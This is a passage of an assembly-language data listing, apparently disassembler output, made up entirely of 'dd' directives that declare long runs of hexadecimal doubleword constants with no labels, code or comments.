2A009170h, 0C4FCF411h, 0B5A0BBh, 876CF297h, 0EF9D8B26h dd 46564300h, 0FC15F6D6h, 63091753h, 0CC4842C6h, 0C0C03CE4h dd 34C462Ch, 26D580ACh, 0F46DFBh, 0E94DA022h, 9C05F2ABh dd 28A8010Ah, 6828EC36h, 0CCF3C3Fh, 9111B7F3h, 0A57B018Dh dd 0CC08350Ch, 3D2429B4h, 0A78880DAh, 56221901h, 0B6F107D5h dd 506ED79Bh, 5DAC8EF9h, 7A446890h, 136CB384h, 72880243h dd 0C884E044h, 6BEC4F1Eh, 179C18A0h, 0E21B0050h, 0CEA963B9h dd 0B00B074h, 3D44B765h, 0B957098Bh, 458E3EB8h, 0BC21F256h dd 4803D408h, 0B90B89B8h, 47DED10h, 0C0C17CCCh, 0EC388114h dd 5B2AE380h, 0A039B58Bh, 1CD048E5h, 7E40FEA9h, 0EBDF5EB1h dd 3BA12590h, 0E7BF8023h, 6E8450F8h, 3474505h, 1BC330B4h dd 0BCECF83Fh, 2B71000Eh, 55F1BBE6h, 0A605FA59h, 0BFB2D7ADh dd 0E1C84C5Fh, 87E1271h dd 1D8CD318h, 72A02927h, 658C0037h, 0C291BABDh, 0D90039BBh dd 0C7AFA457h, 2CEB3ABEh, 4068887Bh, 262DDABAh, 0CA876500h dd 56A41642h, 49C0080h, 0AE627EF1h, 6C99EFD7h, 582DC681h dd 7460F44Dh, 7EC42AB9h, 8B4107DCh, 0E03CB018h, 2410E3D1h dd 0A10246EEh, 720CC269h, 508508Dh, 1D70C8BFh, 0C55C0081h dd 0F2B454BEh, 0F44A2200h, 9E2690D7h, 4F0A0CE6h, 790847A8h dd 110F4BFEh, 0E5C3125Fh, 0C0028C02h, 59ECDE98h, 0CF350EB4h dd 0F0081960h, 8D27766Ah, 0B048103Ch, 0C4120871h, 3E0056EDh dd 0F8D9495Fh, 5432078Dh, 0B0BC7D80h, 9E4120A0h, 685EC0Bh dd 31EC84CEh, 95408C8h, 0F33532AEh, 43ABFC84h, 0E0B1B9D8h dd 105AD3Fh, 0CBF64AE8h, 8E9C70D5h, 0EC59D4h, 8AA89D4Eh dd 47FD01BFh, 0DA22487Fh, 48621Dh, 0F30EED25h, 1C6D14C7h dd 0ECE83C89h, 3AC2064h, 0F44CEC03h, 0E9A791E2h, 81972C06h dd 46007D73h, 85F923D2h, 0B9E48EA8h, 0FC033C84h, 51384BD1h dd 490C480Bh, 65900487h, 0A1E48Ch, 0CEBA4D59h, 918E7A5Eh dd 0E06E9096h, 739329EBh, 4B990F4Fh, 308C0AE7h, 220C15B9h dd 118F1CCFh, 5D5001Ah, 12E3B40h, 0EB17312Ch, 0AC00E555h dd 0FFBF93DBh, 43172EADh, 47A16E54h, 70218BF3h, 2602D6ADh dd 15D07DFCh, 3CAF40ACh, 0CE78A8ADh, 4DED0F99h, 93E0095Ah dd 55D63BDCh, 1A580h, 7D9F1A85h, 7022D97Bh, 1B164500h dd 0B4C33F0Ch, 62EE8F6h, 0F58ED750h, 0C486E978h, 5147B107h dd 4F40A10Bh, 1E529E4h, 0D191A8D0h, 0D025A0A6h, 389CECA5h dd 0B903867h, 1953BF7h, 82E902F9h, 0E9292F4Ah, 806068D7h dd 0FF13E6D8h, 0E1D10055h, 0E18F05Ch, 4D0073DFh, 854AB24Eh dd 0F38F93h, 0DD3F55CDh, 0A282E10Ah, 0FB4E500h, 22431D3Bh dd 0A8E212B7h, 708400A5h, 939C55C7h, 9F65DF00h, 3292579Eh dd 6FCA0FEh, 0B20180CBh, 2404B358h, 400954A8h, 8DA4985Eh dd 5F180072h, 137E7326h, 0D4007875h, 8C0075Ah, 120BF35Eh dd 303D6EB4h, 0F128C6E0h, 0EC0001F6h, 50537DABh, 79FAF04Ch dd 0FE2D0018h, 0BDBEE4Fh, 11275DEDh, 0FFD4A76Fh, 7A141570h dd 121A07CCh, 0C7332B58h, 0FE0724Eh, 5898404Ch, 1D146508h dd 0BDDD8074h, 0CF86CDA8h, 2C93F424h, 0F9B04B00h, 27A9294h dd 0A44055E2h, 9C60FAC0h, 0FC91DF7Dh, 0AB69D580h, 761719Bh dd 6BC586E9h, 0C90F1FEh, 16331A6h, 4003F5D6h, 4EDEDB74h dd 0D82AB100h, 547E6A38h, 0F3182532h, 6E4BF378h, 7B087C40h dd 0F6ECAFh, 9C1140F7h, 0B9E1EA69h, 7052AD07h, 68BB0AE4h dd 0A1A44F0h, 57B8D415h, 0CE7E01B0h, 33F6D5A1h, 0ED54022Ch dd 726F8E58h, 71630070h, 802AF647h, 0E4032F7Eh, 0FF099B98h dd 0B0591276h, 0B9230454h, 4C8C8CD5h, 0C0D3A800h, 47B70906h dd 7658BA59h, 1458B6BCh, 4A3F9C03h, 520A5389h, 65C0F010h dd 3E44F890h, 82D09C88h, 845CC787h, 0CD3BB240h, 14865F00h dd 0B89DD5C9h, 829100D0h, 0EC4765C3h, 0C00F9D1h, 790B8429h dd 588D4F45h, 92EC3Fh, 2322B448h, 69C062F5h, 8A73D5BCh dd 315C0072h, 66FF44E9h, 86762150h, 794B6100h, 0C6FC60EAh dd 0E71B00E3h, 0B2DEE029h, 0EE000A55h, 4ECE4FDh, 0BCEB33h dd 960771B1h, 0C56F09F4h, 3500BCB9h, 38179AECh, 0F9293EBDh dd 800DA29Eh, 5F35D28h, 0B730FE98h, 8468A975h, 0E13400AFh dd 0C2448914h, 0B0906308h, 0A1F92D00h, 919D9C46h, 86E419EFh dd 875ED8C4h, 0A50BBA20h, 78E4FD84h, 73A8B815h, 673D0FAFh dd 48C27BFAh, 0C8818EC5h, 723085BBh, 0FEC0F40h, 11829C54h dd 41723FC0h, 4C40B402h, 1F0CD2Bh, 7C2EEDFCh, 0C658DC06h dd 29640060h, 3FB050EFh, 0B07E2DAh, 0C11C743Ch, 1A663980h dd 30F64889h, 0DEAD5280h, 8A4BDA0Dh, 4FC2D847h, 3EEF5620h dd 0B8B11Dh, 1CE7785Bh, 0AE0081E2h, 0BC3C71ACh, 5CE5275Dh dd 6A05E0E6h, 0E0FDA5F1h, 0B730FC40h, 5ABCB176h, 1A2B136Eh dd 24860053h, 0FCED157Bh, 0D002327Ah, 85A7C8E3h, 9938E34Ch dd 4822570Ah, 0CE4211Fh, 0D585060h, 0E4406E4Bh, 6A24CD76h dd 75AF0069h, 4ECC268Dh, 0F300E713h, 0ED300CA4h, 4A8E83CBh dd 9E3090F6h, 6E00E89Dh, 0DD3D934Eh, 622EE65h, 0B4D060DCh dd 0C91EB1D8h, 17409CC8h, 3DF0C5F6h, 2A72094Eh, 0F0884902h dd 2386006Ch, 556E8EABh, 2D087D00h, 0C421C79Ch, 0B971C068h dd 1C1681D9h, 0E727A400h, 74EE0BE1h, 6F860080h, 4E82AABAh dd 710985B4h, 80ABA522h, 0B693FA0Dh, 2E547A46h, 60C08110h dd 0CA16EC9h, 0B4309F7Ch, 25AB89EEh, 38DF0041h, 0B2437DD7h dd 0C8F0D377h, 9B61A00h, 28FD952Eh, 4F24A06Ah, 0E2630012h dd 222FB87Fh, 0E42608CEh, 0C84020C4h, 0E2DC42h, 0BFA8A3D5h dd 0A2AF52DAh, 33D4D20h, 1462E812h, 10044560h, 6D2A8773h dd 990A68E2h, 11D87170h, 37DD0096h, 75058198h, 0DE472512h dd 63F8A010h, 83F6AB00h, 0BBBD8629h, 14DA00F0h, 0BAEAD44h dd 7116E89Fh, 3C88F2F6h, 7EE094h, 672608E7h, 6D9F8E1Eh dd 0A9B59C00h, 0F5D019ABh, 0E851482Ah, 340556C0h, 6B009BCBh dd 33906E49h, 2F3C70h, 0EA7C4B1Dh, 0A619BBAAh, 8779F8B0h dd 78B89E04h, 10B91D64h, 214ED100h, 0E60D5250h, 0E29A3D09h dd 33C660Ah, 67816F56h, 3EB8F2A3h, 11004DF5h, 697F3CCDh dd 27F4A85Dh, 0B0A06DABh, 7890168Ch, 0A082FB2Ch, 0B580A31Dh dd 358F4FB6h, 9DE0DF8h, 40613157h, 5A1CC040h, 212A11C0h dd 0F9FB48h, 0CEA54DE1h, 0C354EFFEh, 4C46DC00h, 1DD8A3B4h dd 0FF31C025h, 69663AE2h, 0A0730D0Eh, 25C20D2h, 7135C29Eh dd 598202A7h, 77B4B232h, 94AA9CA0h, 1D5468B7h, 0ED00A324h dd 29152BC4h, 0E6DB10h, 0A0D123C0h, 533B3E13h, 0D73D6003h dd 9D5B6590h, 0F0FC0480h, 17297CB5h, 0C1EA5749h, 2836EC00h dd 8B3EC070h, 18E2FA9h, 0DCCE3D59h, 68B7D414h, 0CFA9C028h dd 12D54D4Bh, 0B23C7290h, 0F59F0154h, 0F2CB43D6h, 460FFD7h dd 2E814FAh, 0B411F3F4h, 1C7AF78Eh, 5DB69E0Fh, 68600CDh dd 145F11ACh, 0B01A5BCFh, 0ADF9C09Fh, 92215360h, 9390C600h dd 0D1D2B10Ch, 614A0032h, 0D5AA7ED6h, 8700C762h, 8527801Fh dd 743F070Bh, 55040F8Dh, 9219D49h, 22B724FCh, 0B28E00DCh dd 3743A1E2h, 0D09800DCh, 598AED97h, 22093591h, 5F5AEF9h dd 0C02CB0h, 2718ABB7h, 68A0C4CEh, 95FD8802h, 0C9343001h dd 53FC57DDh, 783820h, 56E24CDCh, 29A5F336h, 9C438000h dd 82EA1D9Eh, 703390D5h, 57E9C2D4h, 94C43BDFh, 0B2A1E000h dd 7EDE6298h, 4C8C09CBh, 0F4091D76h, 4B0198C4h, 5A11ECFBh dd 683CCDD5h, 0EB8BDC0h, 0D2002562h, 0C65AC73Dh, 1CF86812h dd 82A6D674h, 0AA2BC269h, 0A4CD50C0h, 4DE4E600h, 33E15826h dd 0C4B701D7h, 804F716h, 0D3EAF054h, 5B3F19C0h, 0E2DC64F2h dd 0D5B63E27h, 0FB3B400h, 0AD259FD8h, 0ECAB0400h, 6AD2D4AAh dd 777C0052h, 0B9247857h, 5400DCEBh, 0B4EC99BFh, 6F931E7h dd 0C52DF2B3h, 0CC60E25Eh, 1BE62F69h, 376F0AE4h, 70C5B28h dd 4CD53FC4h, 2B005778h, 69980DA7h, 0C7CCDCBCh, 0A0924819h dd 918316B2h, 2BB1A700h, 0B49063A3h, 6ABA02CCh, 6F3C531Fh dd 6DA80063h, 3033C516h, 0E07141D0h, 0F0C5E81h, 0F6B4F7A1h dd 14FE6F2Ah, 0F11DF7F5h, 451D0F69h, 3698D66Ch, 3223F900h dd 3EB5DF5Fh, 6A1C010Ch dd 0BBC55E2Bh, 8FA011DAh, 606480DAh, 1DA2FA3Bh, 408A34A8h dd 81F0F5Ch, 0C801A016h, 0F49E1730h, 9080C259h, 37CF916Eh dd 0AB3B80A1h, 483C30FFh, 1E3594D5h, 408CFE19h, 7663992Dh dd 69C0D88Fh, 7A7BEC41h, 9DBB01B0h, 29E9F5FAh, 0B7B98F2Eh dd 0FC12C0F6h, 60F4A5F8h, 0EE461991h, 83000476h, 49D3A8CDh dd 0AB25B3C5h, 16AF3F8h, 745FEA29h, 0EF8C54B7h, 8A1C29B8h dd 7D612802h, 2393A80Dh, 0F39057F5h, 38015821h, 0B29F6127h dd 0F03BA189h, 0CB383FA9h, 805B07B9h, 4EA02213h, 0A0D9D40Dh dd 247A5920h, 40442E26h, 9E1DB310h, 0FC02A5FAh, 26802D68h dd 660440Dh, 710FC655h, 0EE0011C7h, 647B3991h, 0F71176h dd 737595ADh, 44D7DCEAh, 0FCA45900h, 792A1C2Ch, 39D2608Fh dd 8994BE30h, 46E80400h, 8BC9F2ADh, 1B3F0B4Fh, 0A080BCFCh dd 1C959DEAh, 0EE02C403h, 28DE510Eh, 2470B9h, 3BB15672h dd 9020913Ch, 0B6983900h, 0FA48D088h, 0EA31017Dh, 415707D1h dd 0EDC9D4DDh, 2A67C33Ch, 0A506F401h, 27CF2CE2h, 477E11h dd 0DF35D484h, 26E40EFCh, 13008174h, 431DE11Eh, 0FA12FFA1h dd 0CF9D18C0h, 0B0D23905h, 0E0A9FD04h, 0C4801669h, 38AB818Bh dd 2D986D0Ch, 0EEE329EAh, 0F1C98863h, 3ECBD01Bh, 1E9000FCh dd 0FD6F93D3h, 2A04BCA8h, 530972DBh, 7EF0A887h, 98EB29CCh dd 0E2EC221Ch, 8C15BC3Ch, 613BCE19h, 6EDCA0CFh, 878000A8h dd 2796A5B1h, 26113EB8h, 7200D7EFh, 527C854Ah, 0EC4C289Eh dd 62568004h, 3A78B37Fh, 2D81719Bh, 0B04B57D0h, 289C20F8h dd 4CE0AF38h, 73FD1245h, 0B3A28820h, 829E011Eh, 0B43E4988h dd 0E4232Eh, 814B934Ch, 0DAA852h, 0CE5E7140h, 0B2CFB995h dd 0DB1BB9C0h, 0E0A02Bh, 0A6F54DA8h, 245AED8Ah, 17739103h dd 9B08A43Eh, 0D89DB0DCh, 0C7FC730Eh, 93956661h, 11009446h dd 17BE3AAh, 4A48E61h, 86C5A0E2h, 5618D1CFh, 0CCA3E184h dd 0C33828A8h, 0DCE40DA4h, 4D021D2h, 0C9620457h, 0C2DD94F4h dd 9D20D930h, 0DBEF7Fh, 0C1F10E08h, 71F97EBEh, 3DDF10A0h dd 7BBF854Ch, 9879C900h, 7F605DC7h, 0B28B03EAh, 92A80E09h dd 7CA948h, 37DA174h, 26B440BAh, 404023CFh, 62151D80h dd 0B2F9E400h, 0F2A20136h, 467D0010h, 3ABDA42Eh, 4F310ED9h dd 0D17051C1h, 45E38993h, 80923794h, 11EE3FAEh, 0AB57007h dd 0AD60B235h, 9C5178Ch, 9810FF16h, 0C981342Eh, 201FA6A7h dd 20C49D8Ch, 0B0C8708Bh, 662060Ah, 0D6E6F0B8h, 997D9E0Bh dd 0E43403D5h, 84A4B80Dh, 0BFB4F01Bh, 0C99793E0h, 3A387F71h dd 7357039Dh, 0D1111976h, 0B98566EEh, 0C7303F62h, 0E23CA088h dd 7C0ECF35h, 6450D24Fh, 40C81226h, 8CAA04F3h, 14375766h dd 8EFC03E0h, 0D865522Fh, 62C0A6Fh, 0F45ACB19h, 1C0E6186h dd 0A03FFFE5h, 3ED19C12h, 0CB5E00B8h, 5D2BC867h, 58F0ECA4h dd 0FE589F72h, 9E70030Ch, 3AAD8F77h, 0B1803A79h, 7C7F23CDh dd 0B0626066h, 4855DB81h, 3CB4851Ch, 590B2230h, 2C808A48h dd 3677AC07h, 2646860Ch, 33B79114h, 7F4129CDh, 0A080FBC8h dd 0A59B5F02h, 40BCC3EEh, 84954F14h, 868940Fh, 0A42A22F7h dd 278C606Dh, 204995Bh, 95E4BF3h, 69E5D881h, 0CD51145h dd 149DEDBh, 0BE8E794Ch, 0D063CCFEh, 0ADB0AB21h, 2EEB4300h dd 0D1FB6A29h, 2C365428h, 0C906205Dh, 7F0A8F03h, 2CD6FB0Dh dd 6098A451h, 0C02B073Ah, 0CC053E00h, 0BC99ED7Fh, 81200972h dd 94925A6Dh, 82CF34A0h, 48E937AFh, 4A008184h, 0E9A4CFBh dd 0F4BC5D97h, 7627061Fh, 91C68F63h, 6667101h, 6F348452h dd 3BA103C4h, 328EF356h, 66C0FDC7h, 7AF07CA5h, 0CFD9FF13h dd 46708C20h, 0B6FE418h, 0DCD07348h, 74044C90h, 7D87CA04h dd 18C04C38h, 0C00ECE9Fh, 4D8E4439h, 2C04A2D1h, 57343CD4h dd 0D87FC683h, 0C02ACF15h, 0A3E6CE29h, 2D1ED9AAh, 49809F6Bh dd 92A50983h, 0DA7495h, 0FB5A8BDh, 6465984Dh, 0F6DB6D00h dd 0CFE3ECB3h, 0D824A3BFh, 0EA12C6h, 8B59A065h, 5394501Bh dd 0D413262Ch, 0A0C1F345h, 95D0CA9Dh, 94710051h, 0D03D6686h dd 0CF5047D4h, 0EF006C60h, 0D821B3BDh, 13CCA8Ah, 333E758Eh dd 307EC0CDh, 3A08DF24h, 8066EE0Eh, 2D937A09h, 213AB58Ah dd 0E5798096h, 256D6601h, 1EC9189Dh, 383DC259h, 0A011700Eh dd 5402960Ah, 648E1339h, 35250318h, 5D91321Dh, 29F322F0h dd 2FE620h, 7E3E168Fh, 0A5EF3F8Ch, 84C29701h, 0D47996A4h dd 17611420h, 0A1F0C7h, 379D44D8h, 0E26C4156h, 4C850810h dd 69265406h, 0CF848658h, 3300F90Dh, 4A17BEBAh, 0B50BDBh dd 46FCEAC0h, 94297C4Bh, 116F5203h, 891BB27Eh, 0DE8CE3F7h dd 3E41325Ah, 57F47200h, 0F650B0DAh, 9CFC0253h, 0D23B39F1h dd 1FE6F0C0h, 8EF6BFB0h, 773C84B1h, 6000C0F4h, 0A462303Bh dd 610D28E6h, 3D0521E0h, 68239Dh, 0E8BD6EEh, 90D46624h dd 20DF013Ch, 0FF7095Fh, 0E79440C3h, 0A80A700Dh, 50536945h dd 0BD980E05h, 765CCCh, 7845544Fh, 0E3A3AB56h, 0FC5D4B00h dd 27B72A7h, 0F817260Eh, 0BEE20CD0h, 694CFE58h, 4D0D0A4h dd 0F43C2449h, 74E018C8h, 0F5F7002Ch, 0D5FCB27Ah, 900E345h dd 855E93DFh, 11A3FE97h, 240EEA26h, 4C403CCDh, 1CDF42h dd 19E79F8Bh, 8378EE85h, 0E315914h, 0DA82C0D4h, 3B401935h dd 8700CDD9h, 1EA0E6Dh, 1D1216D1h, 0F088630Fh, 0AD8D3842h dd 3A4E0D00h, 0A0C1CFBCh, 0DB6AE416h, 5B20E020h, 534C2667h dd 4041184h, 0EADB3BB4h, 95F467C0h, 0BEBF28C2h, 0AE8F02E4h dd 76C00D98h, 7D8A6CE0h, 81A4EE0Bh, 0C3F099DBh, 0B691ED8h dd 536DE222h, 9051E892h, 3C4C803Bh, 30A8216Ch, 7E7500C5h dd 0A326319Ah, 8A7E4E45h, 48685E64h, 8873E305h, 0FE004CD8h dd 77B41D67h, 2EF531h, 14F099A1h, 20CADB6Ch, 90E03Eh, 0F767D057h dd 0C77BBBC5h, 849CD479h, 9568C83Fh, 0E5267D0Eh, 0F90C8073h dd 0EA631EBFh, 10812CC0h, 0D6112Ch, 4C07F4A0h, 17F2819h dd 5354139Ah, 222F6D75h, 0BD047934h, 0CA20BA99h, 2006F8C2h dd 728C4A0Bh, 24927A01h, 81FC5763h, 2060D9CDh, 0B1CE88DDh dd 0AD5F31C0h, 9A0427h, 0E8757C81h, 2F1EAEE5h, 44132500h dd 3EF46D78h, 24EE5CC5h, 0A0D054h, 9650FCA4h, 6ABE6D1Ah dd 0DF4BD3FCh, 0A6B10470h, 0F31A0037h, 0C20DC4A0h, 66005726h dd 9715F217h, 1CBA10Ch, 0D7AA0744h, 0FBD25616h, 8EB97798h dd 2405D42Eh, 3685A404h, 9B1CD0A2h, 0AF3700DBh, 0E89F0D03h dd 22953400h, 56B7A00Ch, 8F30B1CCh, 316FBA80h, 0C0724104h dd 0C03297ACh, 0C4500E3Ah, 0F38C0258h, 0DCBD5695h, 0DE004852h dd 8EA355CCh, 1873D62Dh, 0D9C85B26h, 0D963B4C4h, 69EF29h dd 5977A149h, 7A2F704Dh, 0A3A5C509h, 3C640731h, 0DA0D2611h dd 34022054h, 0A4D61328h, 1021610Ch, 0F5A908CCh, 0E052EF12h dd 4A8E7C00h, 121A0EAh, 0E4DC058Ch, 0C316657Ah, 9D01F0Ch dd 4CB89D54h, 0E4754428h, 8F78A00Ch, 3BA59D0h, 2A871FFDh dd 0E5B091F3h, 0B200D626h, 0FE7D4BBDh, 0E26DBEF7h, 0D531C144h dd 51E928F8h, 14D98558h, 18854CCh, 2622658h, 60FB3B37h dd 0A71D82C7h, 0D3532F01h, 10B47409h, 2CEF988Ch, 1C9480DEh dd 0AA69302Dh, 413298Eh, 0C48026DBh, 7534F3Fh, 0C1E899E2h dd 87A7F595h, 0C02D94E4h, 6CA3F318h, 4900A498h, 0FA81C957h dd 929CE6Eh dd 500C7061h, 0A40A54C5h, 2F00944Bh, 0FDD320Eh, 0D5E272h dd 8A09CF0Ah, 6B92B89Eh, 62455700h, 71E61473h, 5B7A287Eh dd 30594BA8h, 869B2770h, 56687203h, 0C8705553h, 5C4AFFB2h dd 7180C8CEh, 6CDC62E8h, 8000337Dh, 117F64E4h, 0E3E54E1h dd 0C4357AECh, 0F0E5D83h, 1A1C4BC0h, 8F7412FAh, 0E6AA1B09h dd 3D7C648Eh, 3580A49Fh, 0FFD107F8h, 6618E944h, 0A5713645h dd 0CB710984h, 50E8F43Eh, 0BA77158Eh, 852DED00h, 5EEC45E6h dd 29C60025h, 0FF4D1A5Bh, 0E496A50Eh, 4871649Dh, 94303909h dd 0AAF6022Dh, 8EC51ED2h, 783C4C44h, 0C9A81837h, 3A7F7111h dd 7C4C27C1h, 466020Ch, 4848B968h, 576F0045h, 691F5491h dd 83FC9C44h, 6A0C00Eh, 0B4514EA2h, 5226F63Ah, 5308A81Ch dd 7E770EB6h, 2244EC02h, 388EDC60h, 45635913h, 3B3D1420h dd 0B33A0027h, 0AE74CF93h, 5400F4B1h, 2E94628Bh, 300A92B6h dd 9A316CEEh, 963EC0A1h, 8261BEE3h, 0C28A4727h, 85CC8E86h dd 688D08D1h, 17294BF8h, 0A4C94Fh, 0F149FC74h, 7F036F5Eh dd 0F4FD4641h, 0BF86D128h, 78DC5021h, 0D4761FF8h, 0D5D4FA5h dd 0EE3BB922h, 593ACC90h, 0F68F0A02h, 82CA8549h, 255EA9B0h dd 9B00C8EEh, 36E84A00h, 6ADD22B0h, 0F79A0090h, 63D10208h dd 40118E7h, 5C37BDABh, 8C606A66h, 560E883Bh, 378434B4h dd 98824380h, 8C4CFh, 938F53BCh, 6062D10Bh, 51B60300h dd 899972B2h, 94D2009Fh, 980D7810h, 4C01EC4Ah, 685921B3h dd 0A872EF26h, 0B4DD7776h, 66380B0h, 8C2AF896h, 10FB0D27h dd 0EE6957B4h, 0DA631817h, 25A4E9DBh, 26728F00h, 2769A0CAh dd 0C2500064h, 37949A9Ch, 3A00D83Dh, 49C8BFCCh, 97E2955h dd 0DB33DEA5h, 30319C41h, 3500F6A4h, 561047F9h, 26C5FA90h dd 1218B2E3h, 0D4140767h, 0CCD14471h, 970012A8h, 94B399BFh dd 7C683C0Fh, 0F4742CF5h, 0C76E0FA0h, 1492A501h, 544892B3h dd 8EFA3C04h, 31B48E4h, 0A1940517h, 0A4E53F2Ch, 9700BEC8h dd 6D1FC06Ch, 94CC20h, 0B9BA3905h, 0FFE9F3D5h, 3C640C38h dd 0C8A90057h, 0B7567504h, 1DAA139Ah, 7A0804C0h, 95248314h dd 6179A790h, 0A00F2B06h, 1C1AEEDh, 807B8CCCh, 2092865Ch dd 0C60F60BCh, 323C3664h, 0E5417437h, 3060F28Fh, 26350031h dd 0C5929F30h, 40B4894h, 0F53EF69h, 54DB64F4h, 0E09CB890h dd 0C47F005Bh, 0FA5AC01Eh, 0D8FFAE6Bh, 4C1256C2h, 0BCC8BEA8h dd 44EF0009h, 0F452B85Eh, 73002C25h, 16405767h, 202BCA8h dd 4F3E8556h, 404692B0h, 8C1E96E6h, 9F931A30h, 0EC2C600h dd 43DD2Fh, 80B2768Eh, 28F53D6Dh, 0E020155Eh, 608E1F5Eh dd 722D11C5h, 0EC00BEF9h, 91EDD3EAh, 31A3BD4h, 6D636FC9h dd 712FB456h, 76EC21DBh, 92E8228Eh, 95B78B5h, 0F80545A2h dd 0A6ED78Ah, 0F81D78h, 0EAA0588Ch, 94EAF03h, 96C30008h dd 0F1490CEh, 5A002B40h, 5FC9AA91h, 1F8892Ch, 0DB81887h dd 8029DB75h, 315DB379h, 38886B6Eh, 8A00462Ah, 0FEEA95Eh dd 0FA05B4F7h, 7A299CCCh, 18D7050h, 0FE0395Fh, 0DE707B87h dd 183428F7h, 91EB05D0h, 4090EDABh, 33C5AF8h, 0CC01F5C2h dd 0F4C7AC58h, 0C426510Eh, 0E87EBD3Eh, 8E680044h, 61287526h dd 91DA7Eh, 0B70ED900h, 2C1AE7h, 0CAF1E67h, 0FD3BA9D2h dd 725C7F00h, 29F64DE2h, 167C912Eh, 0C27C20CDh, 0F0003ADCh dd 89377239h, 481E9F0Bh, 9726A408h, 0A06900B0h, 5BF75EC5h dd 2E029000h, 0EAB4C77Dh, 0FFE4CEh, 4D57BF9Eh, 0B8F6EFBAh dd 0A7FA7177h, 1D3BEE00h, 3FFAD512h, 73D10538h, 88F454B5h dd 0E43C9FCCh, 89E100FBh, 75577874h, 0BD9E1883h, 3C97E9A7h dd 0C551E20Bh, 0B49ABCh, 0BB6AD320h, 0C5951712h, 6D9CCC8Dh dd 0C970124h, 0EB235D02h, 0B894C0F6h, 0C45406BCh, 28C33D67h dd 8A1DE0EAh, 93DEA60h, 1028CF6Fh, 0E9ADFD78h, 34319FE9h dd 0CBB6EE4h, 8D450FF5h, 2A013A81h, 68CAC3EDh, 2EC4BD76h dd 4070EB1Dh, 366E09D0h, 649AE6CFh, 0BB0B0A40h, 74F27E00h dd 38A694DDh, 7CF74C4Ch, 0F5A49E3Bh, 86610B5Ch, 0B6079444h dd 0AF7E8741h, 0F0DDAE33h, 27AAF777h, 0A420708Dh, 0C34E07FEh dd 65807603h, 0D11726A3h, 2B10C68Eh, 0F73CCE52h, 376C0079h dd 0ADED3596h, 0E6540098h, 84F93EAEh, 75EAE7B6h, 4058E490h dd 0F8F70B40h, 57B4E8EFh, 41BB00CCh, 7211757Fh, 6404FF8Eh dd 82C517D2h, 867890A2h, 4AC03042h, 220903CBh, 90B84800h dd 27E33FF7h, 5178035Bh, 3EDE9455h, 2D596981h, 0C43851ACh dd 7A186F97h, 3661AF8Fh, 56640076h, 0C603F741h, 8A00B4FCh dd 556D7125h, 907609C7h, 3D870B24h, 5C6168E2h, 2805D325h dd 75527A9Eh, 2A45F002h, 6FB478D9h, 4A202038h, 7D6F54F8h dd 263DB00Eh, 4D0DA579h, 0FFF380D8h, 0CF27A30h, 262F6D64h dd 24F5DCB1h, 0F00D4D0h, 7DA65069h, 1EE8CF37h, 508F4D3h dd 20DC1774h, 5D3124F4h, 0DBE5FB00h, 144832A1h, 0B0C80457h dd 0C0569B38h, 0D40C70FCh, 301740A1h, 1603F67Ch, 81FC54F7h dd 0B056DF85h, 9473FCC8h, 175D8748h, 0E604E034h, 0DA002B5Ch dd 167DDD11h, 943837CDh, 13BE60FCh, 60182418h, 4A41AD70h dd 0C74802BAh, 167886D3h, 24009446h, 35D5687h, 0A23A7D70h dd 0D43C9883h, 83F90038h, 2DBE064Fh, 50021E48h, 106F3EDBh dd 1879D3h, 0F3F1C98Eh, 160611Ah, 6D0A8AC0h, 5E400A8h dd 0F4782F3Dh, 73E45F3Fh, 7A2D4CA0h, 71DD404h, 98C0D17Dh dd 24E8FB45h, 413CA8C5h, 0CC59C9C3h, 0C4608F9Fh, 6942E239h dd 0A9370113h, 8A8CC197h, 7CABF44Fh, 7098B4A1h, 10959AA4h dd 1F9614h, 0F5B172D2h, 0A50EBDF8h, 0C22C9895h, 0C6B7EF0h dd 0CB7320A9h, 7A076569h, 5EC39926h, 0B5A03710h, 72180BC2h dd 0C490D30Ch, 0D0BC6066h, 8C84FF69h, 9E98A446h, 6EBD203h dd 0C8A97B1Fh, 1FC57E8Dh, 5FD8247h, 0C0114995h, 7D47D0Ch dd 90952777h, 4AC00EACh, 591C88A5h, 540839h, 0F746E6Fh dd 3C183A3h, 0DAF78668h, 2B82BFD5h, 5600B0D9h, 0D90AF3C0h dd 6CD2030Dh, 0A71E9C9Eh, 0BFDB51B9h, 0DA699269h, 98A27820h dd 0D3C0040h, 7F3B2B9Dh, 6B04A4E9h, 0EA529EBh, 0D5951180h dd 12F4749Eh, 0B0017AFDh, 0B6256F00h, 373820DBh, 106A61h dd 64760ADh, 7EA45AF6h, 2089B800h, 2B2D3A49h, 94C0188Ch dd 0CE55E809h, 0BC950084h, 6B927C5Ch, 3B2CF8EFh, 7B1D9266h dd 0A986EC80h, 0A3CE8D36h, 0A0C7E874h, 0E1B8C0BDh, 0D0CC6AF9h dd 84A44B01h, 633D1496h, 2CE14002h, 5D5812E0h, 0D01C44FEh dd 143EF0C4h, 0A9089780h, 3D6904E4h, 0F4EA270Ah, 0B160CD50h dd 26794C71h, 0E578002Ch, 0FC06392Ah, 0CFA0897Dh, 0F801B9B6h dd 3ED0277Bh, 0F432EC26h, 40BCCE24h, 2DFECAFBh, 0EBD13403h dd 243CA974h, 2604170h, 84C00D6Dh, 7C26E0C1h, 90F82D48h dd 2EBBCh, 0E23F0B3Eh, 1269EE8Dh, 8357983Eh, 0AA7932D8h dd 0F63CC0D5h, 0EC2A54DCh, 0E8E33E73h, 0C921EA00h, 35D0825Ch dd 3600F8F8h, 0B1BF7A57h, 1562899h, 0CB76378Eh, 32AAC594h dd 80BF012Ch, 73396311h, 6DE723FAh, 7E0AC0F0h, 76541D01h dd 15C3FC5Ch, 89C48470h, 8C3D70h, 0B30D1B93h, 357A9Fh dd 543B9A4h, 0C0827F07h, 0CF16FD98h, 0FC0080D5h, 0BBC56A42h dd 77C1C237h, 28C42E6Dh, 0E040DC4Bh, 123F1B41h, 0E10B2E3Bh dd 6B730377h, 75F09BC2h dd 38268362h, 0E368D411h, 1274CF00h, 2484E93Dh, 0FC35C9h dd 5568608Ch, 0D8B89722h, 8E41605h, 0F8C8F450h, 9CC1DC9h dd 42AC1DFFh, 747C0ABAh, 60003471h, 2484AE30h, 713D90C4h dd 980E0B1Dh, 0C8811E82h, 6045589Ch, 0DB5A97BEh, 0E8775447h dd 7ABEE7D0h, 7699295Eh, 0D0D287F4h, 9C801137h, 2FC6DC39h dd 3840454Bh, 0F1363D1h, 0DD9F00C0h, 27785453h, 0EC58D823h dd 816C5CC0h, 6A80A6E6h, 0E72D660h, 923A2CBCh, 0BBD9403Dh dd 8E9AF27Ch, 0BF4B200h, 403C5776h, 0DF1904BFh, 0B239C3AAh dd 0BDA70024h, 